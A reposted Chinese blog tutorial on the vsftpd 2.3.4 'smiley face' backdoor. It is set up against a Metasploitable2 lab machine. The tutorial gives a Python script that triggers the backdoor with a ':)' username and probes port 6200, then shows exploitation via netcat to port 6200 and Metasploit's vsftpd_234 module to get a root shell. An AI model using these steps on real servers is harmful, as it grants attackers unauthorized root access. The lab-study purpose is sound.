本文转载:https://xiaochuhe.blog.csdn.net/article/details/122693486?spm=1001.2014.3001.5502
一、漏洞介绍
vsftpd2.3.4中在6200端口存在一个shell,使得任何人都可以进行连接,并且VSFTPD v2.3.4 服务,是以 root 权限运行的,最终我们提到的权限也是root;当连接带有vsftpd 2.3.4版本的服务器的21端口时,输入用户中带有“:) ”,密码任意,因此也称为笑脸漏洞。
二、环境搭建
攻击机(本机):192.168.1.3
靶机(metaspolit2):192.168.1.5
三、nmap进行漏洞检测
四、python脚本进行漏洞检测
代码如下:
import socket
from ftplib import FTP
url = input("请输入你需要检测的地址:")
ftp = FTP()
username = 'root:)' #用户名必须包含:)这两个字符
password = 'anonymous' #密码随便啥都行
try:
ftp.connect(url,21,timeout=10)#使用ftp登录,设置延时10秒
ftp.login(username,password)
ftp.quit()
except:
print("完成登录检测")
try:
s = socket.socket() #使用socket函数来检测是否有漏洞存在
s.connect((url,6200))
s.close()
print("存在微笑漏洞")
except:
print("没有发现笑脸漏洞!")
输出结果:
五、漏洞复现
(一)使用nc进行漏洞利用
1、打开命令行登录ftp服务器,在用户名处输入xiaofeng:)然后随意输入一个密码回车等待,紧接着进行下一步:
2、打开一个新窗口,输入nc 目标ip 6200 即可连接。
(二)使用msf进行漏洞利用
1.打开MSFConsole搜索vsftpd_234并使用
- 设置攻击目标,进行exploit即可获取shell。